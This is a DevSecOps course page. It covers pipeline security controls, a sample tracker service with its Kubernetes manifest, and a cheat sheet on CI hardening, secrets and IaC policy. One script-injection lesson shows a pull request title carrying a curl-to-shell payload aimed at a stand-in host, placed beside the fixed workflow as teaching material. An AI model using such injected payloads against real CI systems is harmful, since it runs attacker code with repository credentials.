Sign in Start free

EngineeringFree course

DevSecOps: Securing the Software Supply Chain

A security control at every stage of delivery: threat modeling and the OWASP Top 10:2025, secure coding and SAST, secrets and OIDC, SCA and SBOMs, signing and SLSA provenance, container and IaC policy, Kubernetes admission control, DAST, runtime detection and a 90-day rollout.

  • Level Junior → Expert
  • Time 230 min
  • Modules 10
  • Exercises 7 with worked solutions
  • Includes Lab, 5-question quiz, references

What you'll learn

  • Threat-model a service with data flows, trust boundaries and STRIDE
  • Find and fix injection and access-control flaws, and catch them with SAST
  • Remove stored secrets with secret scanning, secret managers and OIDC
  • Gate dependencies by KEV, EPSS and CVSS, publish SBOMs and sign artifacts with provenance
  • Enforce container, IaC and Kubernetes policy and detect attacks at run time

Each lesson is tagged Junior, Mid or Expert, so you can start where you are. Finish with the lab and the quiz; a score of 4 out of 5 marks the course complete in this browser.

The lessons below are in English for now, because they quote technical names, commands and log fields. An Arabic version is planned.

Course map

Each module moves from fundamentals to applied work to an expert challenge. Exercises have worked solutions: try first, then open the solution. 10 modules · 7 exercises · ~3.8 hours

  1. 0Start here: what DevSecOps is and the course projectJuniorMidExpert20 min · 0 exercises
  2. 1Threat modeling and secure designJuniorMidExpert20 min · 1 exercises
  3. 2Secure coding and static analysis (SAST)JuniorMidExpert25 min · 1 exercises
  4. 3Secrets management and workload identityJuniorMidExpert20 min · 0 exercises
  5. 4Dependencies, SCA and SBOMsJuniorMidExpert25 min · 1 exercises
  6. 5Software supply chain integrityJuniorMidExpert25 min · 1 exercises
  7. 6Container and infrastructure-as-code securityJuniorMidExpert25 min · 1 exercises
  8. 7Kubernetes security and admission controlJuniorMidExpert25 min · 0 exercises
  9. 8DAST, runtime security and security operationsJuniorMidExpert25 min · 1 exercises
  10. 9Building a DevSecOps programme, cheat sheet and assessmentJuniorMidExpert20 min · 1 exercises

No prior experience is needed. Module 0 covers the architecture, installation and configuration, and sets up the project you extend in every module. Each command is labelled with its impact (read-only, changes files, changes the system, uses the network). Work on a computer or virtual machine you control.

0

Start here: what DevSecOps is and the course project

Goal: Understand DevSecOps, shift-left and shield-right, map security controls onto the delivery lifecycle, and set up the project.

20 min

DevSecOps in one picture

DevSecOps builds security into every stage of DevOps instead of testing at the end. Security becomes automated checks in the pipeline, secure defaults in templates, and shared responsibility between developers, operations and security engineers.

A separate security review before release is too slow for teams that deploy daily, and it finds problems when they are most expensive to fix. Attackers also target the delivery system itself: source repositories, dependencies, CI runners and registries. That is why software supply chain failures entered the OWASP Top 10 in its 2025 edition.

Shift left: catch issues early (design, code, build). Shield right: protect and detect in production (admission control, runtime detection, monitoring). Both are needed: no pipeline catches everything.

DEVOPSbuild it rightrun it wellPlanJira, GitHub IssuesJiraGitHub Issuesthreat modelCodeGit, GitHub, GitLabGitGitHubGitLabpre-commit, SAST, secretsBuildMake, Gradle, DockerMakeMAGradleDockerSCA, SBOM, signingTestpytest, PlaywrightpytestPlaywrightDAST, IaC scanReleaseActions, GitLab CI, JenkinsGitHub ActionsGitLab CIJenkinsprovenance, gatesDeployArgo CD, HelmArgo CDHelmadmission policyOperateKubernetes, TerraformKubernetesTerraformruntime detectionMonitorPrometheus, GrafanaPrometheusGrafanaSIEM, responseContinuous feedback: every stage reports back to planning
PlanThreat DragonThreat DragonOWASPOWASPCodeSemgrepSemgrepCodeQLCodeQLSonarQubeSonarQubeGitleaksGitleaksBuildTrivyTrivySyft / GrypeSyft / GrypeDependabotDependabotRenovateRenovateTestZAPZAPCheckovCheckovHadolintHadolintReleaseSigstoreSigstoreSLSASLSAHarden-RunnerHarden-RunnerScorecardScorecardDeployKyvernoKyvernoOPA GatekeeperOPA GatekeeperConftestConftestOperateVaultVaultExternal SecretsExternal SecretsKubescapeKubescapekube-benchkube-benchMonitorFalcoFalcoWazuhWazuhSplunkSplunkDefectDojoDefectDojoSecurity tools by delivery stage: the controls this course adds to the DevOps toolchain.
Relative cost to fix a security defect, by where it is found (log scale; order-of-magnitude industry estimates)1xDesign3xCode6xBuild / CI12xTest60xProduction

Quick check: Which describes DevSecOps best?

The course project

You will secure the shipment tracker from the DevOps course: the same service, pipeline and Kubernetes deployment. The architecture diagram now carries a red tag for each security control; the control added in the current module is highlighted.

Python, Git, jq and OpenSSL are enough for every hands-on step. Scanner, cluster and cloud steps are shown as annotated configuration with labelled example output, so you can follow without accounts.

manifestspull imagetelemetryPlanbacklog, sprint boardJiraGitHub IssuesDeveloperIDE, local testsVS CodeGitMakeMASource controlrepo, PRs, reviewsGitHubGitLab◆ branch rules, CODEOWNERSCI pipelinebuild, test, packageGitHub ActionsJenkinsArtifact registryversioned imagesGHCRHarborAWSInfrastructure as codeplan, review, applyTerraformOpenTofuCloud accountnetwork, IAM, clusterAWSAzureGoogle CloudGitOps controllersync desired stateArgo CDFluxKubernetesstaging and productionKubernetesHelmDeveloper portalgolden-path templatesBackstageOn-call and incidentsalerts, runbooksPagerDutyGrafanaObservabilitymetrics, logs, tracesPrometheusGrafanaOpenTelemetryCustomersHTTPS via the gatewayweb and mobile appsSecurity stage 0: branch protection and code owners on the repository (from the Git course).
shell · project step 0
mkdir -p ~/tracker && cd ~/tracker && git init -q
cat > app.py <<'__EOF__'
"""Rimal shipment tracker: a minimal HTTP API (standard library only)."""
import json, os, sys
from http.server import BaseHTTPRequestHandler, HTTPServer

SHIPMENTS = {"RL-1001": {"status": "in transit", "eta": "2026-12-05"},
             "RL-1002": {"status": "delivered", "eta": "2026-12-02"}}

def lookup(shipment_id):
    """Return (HTTP status, body) for a shipment id."""
    if shipment_id in SHIPMENTS:
        return 200, {"id": shipment_id, **SHIPMENTS[shipment_id]}
    return 404, {"error": "not found"}

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == "/healthz":
            code, body = 200, {"status": "ok", "version": os.environ.get("APP_VERSION", "dev")}
        elif self.path.startswith("/shipments/"):
            code, body = lookup(self.path.rsplit("/", 1)[-1])
        else:
            code, body = 404, {"error": "not found"}
        self.send_response(code)
        self.send_header("Content-Type", "application/json")
        self.end_headers()
        self.wfile.write(json.dumps(body).encode())
        print(json.dumps({"event": "request", "path": self.path, "status": code}), file=sys.stderr)

    def log_message(self, *args):
        pass  # structured log line above replaces the default access log

if __name__ == "__main__":
    port = int(os.environ.get("PORT", "8080"))
    HTTPServer(("0.0.0.0", port), Handler).serve_forever()
__EOF__
cat > test_app.py <<'__EOF__'
import json, threading, unittest, urllib.request
from http.server import HTTPServer
import app

class LookupTests(unittest.TestCase):
    def test_known_shipment(self):
        code, body = app.lookup("RL-1001")
        self.assertEqual(code, 200)
        self.assertEqual(body["status"], "in transit")

    def test_unknown_shipment(self):
        self.assertEqual(app.lookup("RL-9999")[0], 404)

class HttpTests(unittest.TestCase):
    def test_health_endpoint(self):
        srv = HTTPServer(("127.0.0.1", 0), app.Handler)
        threading.Thread(target=srv.serve_forever, daemon=True).start()
        url = f"http://127.0.0.1:{srv.server_port}/healthz"
        with urllib.request.urlopen(url, timeout=5) as r:
            self.assertEqual(json.load(r)["status"], "ok")
        srv.shutdown()
__EOF__
mkdir -p k8s && mkdir -p k8s
cat > k8s/tracker.yaml <<'__EOF__'
apiVersion: apps/v1
kind: Deployment
metadata:
  name: tracker
  labels: { app: tracker }
spec:
  replicas: 3
  selector:
    matchLabels: { app: tracker }
  strategy:
    rollingUpdate: { maxUnavailable: 0, maxSurge: 1 }
  template:
    metadata:
      labels: { app: tracker }
    spec:
      containers:
        - name: tracker
          image: ghcr.io/rimal-logistics/tracker:1.4.0
          ports: [{ containerPort: 8080 }]
          env:
            - { name: APP_VERSION, value: "1.4.0" }
          readinessProbe:
            httpGet: { path: /healthz, port: 8080 }
          livenessProbe:
            httpGet: { path: /healthz, port: 8080 }
            initialDelaySeconds: 10
          resources:
            requests: { cpu: 50m, memory: 64Mi }
            limits: { memory: 128Mi }
---
apiVersion: v1
kind: Service
metadata:
  name: tracker
spec:
  selector: { app: tracker }
  ports: [{ port: 80, targetPort: 8080 }]
---
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
  name: tracker
spec:
  parentRefs: [{ name: public-gateway }]
  hostnames: ["track.rimal.example"]
  rules:
    - backendRefs: [{ name: tracker, port: 80 }]
__EOF__
git add . && git commit -qm "Tracker service from the DevOps course"
git log --oneline
ls -R | head -n 8
Output
6ace32e Tracker service from the DevOps course
.:
app.py
k8s
test_app.py

./k8s:
tracker.yaml

Security platforms and references

OWASP projectsSecOps

Open standards: Top 10, ASVS, SAMM, ZAP, Dependency-Track, Cheat Sheets.

Use it for: requirements, testing, maturity

Integrates with: every stage

GitHub Advanced SecuritySAST

Code scanning (CodeQL), secret scanning with push protection, Dependabot.

Use it for: security built into GitHub

Integrates with: Actions, SARIF tools

GitLab security scannersSAST

SAST, dependency, container, secret and DAST scanning in pipelines.

Use it for: all-in-one GitLab

Integrates with: merge requests, security dashboard

DefectDojoSecOps

Aggregates and de-duplicates findings from many scanners.

Use it for: vulnerability management

Integrates with: Trivy, ZAP, Semgrep, Jira

1

Threat modeling and secure design

Goal: Draw the system's data flows and trust boundaries, find threats with STRIDE, and map them to the OWASP Top 10:2025.

20 min

Premium This part is included in the Premium and Pro plans. Sign in or see the plans to continue.

2

Secure coding and static analysis (SAST)

Goal: Recognise and fix injection and access-control flaws, and catch them automatically with static analysis in CI.

25 min

Premium This part is included in the Premium and Pro plans. Sign in or see the plans to continue.

3

Secrets management and workload identity

Goal: Keep secrets out of code and pipelines, detect leaks, store secrets centrally, and replace stored cloud keys with OIDC.

20 min

Premium This part is included in the Premium and Pro plans. Sign in or see the plans to continue.

4

Dependencies, SCA and SBOMs

Goal: Find vulnerable dependencies, prioritise them by real risk, gate the pipeline, and produce an SBOM.

25 min

Premium This part is included in the Premium and Pro plans. Sign in or see the plans to continue.

5

Software supply chain integrity

Goal: Understand supply-chain attacks on the delivery system, harden CI, and prove integrity with digests, signatures and provenance.

25 min

Premium This part is included in the Premium and Pro plans. Sign in or see the plans to continue.

6

Container and infrastructure-as-code security

Goal: Harden images, scan Dockerfiles and IaC for misconfigurations, and enforce a policy on Kubernetes manifests in CI.

25 min

Premium This part is included in the Premium and Pro plans. Sign in or see the plans to continue.

7

Kubernetes security and admission control

Goal: Apply least privilege to pods, network and API access, and enforce policy at admission so nothing unsafe runs.

25 min

Premium This part is included in the Premium and Pro plans. Sign in or see the plans to continue.

8

DAST, runtime security and security operations

Goal: Test the running application, detect attacks in production, and respond when the pipeline itself is compromised.

25 min

Premium This part is included in the Premium and Pro plans. Sign in or see the plans to continue.

9

Building a DevSecOps programme, cheat sheet and assessment

Goal: Roll DevSecOps out without stopping delivery, measure it, and apply the whole course to a new service.

20 min

Premium This part is included in the Premium and Pro plans. Sign in or see the plans to continue.

Quick reference (the cheat-sheet lessons and the PDF content)
1

Security in every stage

JuniorMid
StageControlExample tools
PlanThreat model new features; security requirements in the ticketSTRIDE, OWASP Threat Dragon
CodeIDE linting, pre-commit secret scan, secure defaultsSemgrep, gitleaks, pre-commit
Pull requestSAST, dependency scan (SCA), IaC scan, review by CODEOWNERSCodeQL, Semgrep, Dependabot, Trivy, Checkov
BuildHermetic, ephemeral runners; SBOM and provenanceSyft, SLSA generators, BuildKit
ArtifactImage scan, signature, storage in a private registryTrivy, Grype, cosign
DeployAdmission policy verifies signature and configKyverno, OPA Gatekeeper, Sigstore policy-controller
RunDAST, runtime detection, patch SLAs, logging to SIEMZAP, Falco, Tetragon, cloud posture tools
2

Software supply chain: where attacks land and what stops them

MidExpert

Attackers target the build path because one compromise reaches every customer. Red: typical attacks. Black: the matching control.

Sourcerepo, PRsDependenciespackagesBuildCI runnerArtifactimage, packageDeployCD, clusterRuntimeprod1stolen token,malicious PR2typosquat,hijacked package3poisoned runner,pwn request4tampered orunsigned image5leaked deploycredentials6vulnerable ordrifted configBranch protection,MFA, signed commitsLock files, SCA,private mirrorEphemeral runners,least privilegeSBOM, provenance,cosign signatureOIDC, short-livedcredentialsAdmission policy,runtime detection
3

Harden the CI/CD platform

MidExpert

GitHub Actions

  • Default permissions: contents: read
  • Pin third-party actions to a full commit SHA
  • Never run untrusted PR code with pull_request_target plus checkout of the PR head
  • Do not interpolate ${{ github.event.* }} into run:; pass through env
  • OIDC to the cloud, scoped to repo, branch and environment
  • Required reviewers on production environments

Any CI system

  • Ephemeral runners: a fresh VM or container per job
  • No self-hosted runners on public repositories
  • Secrets only for protected branches and tags
  • Separate build and deploy identities
  • Log pipeline changes and runner activity to the SIEM
  • Review changes to pipeline files like production code (CODEOWNERS)
4

Script injection: the most common CI bug

Mid
yaml · vulnerable
- run: echo "Title: ${{ github.event.pull_request.title }}"
# a PR titled  a"; curl evil.example/x | sh; echo "
# runs attacker code with this job's token
yaml · fixed
- env:
    TITLE: ${{ github.event.pull_request.title }}
  run: echo "Title: $TITLE"     # data, not code
5

Secrets management decision guide

JuniorMid
Where is it used?Use
CI job calling a cloud APIOIDC federation: no stored secret at all
App in KubernetesExternal Secrets Operator or CSI driver from Vault / cloud secret manager
App on a VM or serverlessCloud secret manager with the workload's identity
Developer laptopPassword manager or op / vault CLI; never .env in Git
Third-party API key you must storeSecret manager, rotation schedule, scoped key, alert on use from new IPs

If a secret leaks

  • 1. Revoke and rotate immediately
  • 2. Check logs for use since the leak
  • 3. Remove from code and history
  • 4. Add a scanner rule so it cannot recur
  • Public repos are scraped within minutes
6

Infrastructure as code and policy as code

MidExpert
shell · scan IaC before apply
terraform fmt -check && terraform validate
tflint
checkov -d . --framework terraform     # misconfigurations
trivy config .                          # also Dockerfile, k8s
terraform plan -out tf.plan
terraform show -json tf.plan > plan.json
conftest test plan.json -p policy/      # your own rules
rego · policy/s3.rego (conftest)
package main
import rego.v1

deny contains msg if {
  some r in input.resource_changes
  r.type == "aws_s3_bucket_public_access_block"
  r.change.after.block_public_acls == false
  msg := sprintf("%s must block public ACLs", [r.address])
}
7

Triage scanner findings without drowning

Mid

Prioritize with exploitability and exposure, not CVSS alone. The ThreatAI threatai.net/cve-priority tool does this with KEV and EPSS.

SignalPriority
Exploited in the wild (CISA KEV) and reachable in your codeFix now: block the release
High EPSS, internet-facing serviceFix within days
Critical CVSS but the vulnerable function is never calledPlan; document the reachability evidence
Dev-only dependency, not shippedBacklog
Duplicate across 40 images from one baseFix the base image once, rebuild all
8

A 90-day DevSecOps rollout

MidExpert
Days 1–30secret scanning + pushprotection, branch rules,Dependabot/RenovateDays 31–60SAST + SCA on PRs(warn only), image scan,CI permissions cleanupDays 61–90block on critical + KEV,SBOM + signing,admission policy in stagingNext quarterSLSA build level 2–3,IaC policy gates,metrics review monthly
9

Metrics that show progress

Mid
MetricTarget direction
Mean time to remediate critical findingsDown, within your SLA
% of repos with secret scanning, SAST and SCA onUp to 100%
% of production images signed and with an SBOMUp to 100%
Findings opened vs closed per monthClosed ≥ opened
Security-related pipeline failures fixed by developers without helpUp: the tools are usable
Frameworks Map your program to NIST SSDF (SP 800-218) and the SLSA build levels so auditors and customers can see what you do.

Key terms

Shift left / shield right
Catch issues early in design, code and build / protect and detect in production.
SAST / SCA / DAST
Static code analysis / analysis of third-party components / testing the running application.
SBOM
Software bill of materials: the list of components inside an artifact (CycloneDX or SPDX).
SLSA provenance
Signed metadata describing how, where and from what an artifact was built.
Admission control
Kubernetes checks that can reject an object before it is stored and run.
KEV / EPSS
CISA's list of exploited vulnerabilities / FIRST's probability of exploitation.

Hands-on lab

Premium This part is included in the Premium and Pro plans. Sign in or see the plans to continue.

Knowledge check

Answer all five questions, then check your answers. Each answer comes with a short explanation.

1Which OWASP Top 10:2025 category covers compromised dependencies and CI actions?
2Safe way to query a database with user input:
3Best credential for CI to deploy to the cloud:
4A finding is in CISA KEV. What does that tell you?
5What stops an unsigned image from running in the cluster?

Further reading

Put it into practice

Use these ThreatAI tools to apply what you learned to your own environment.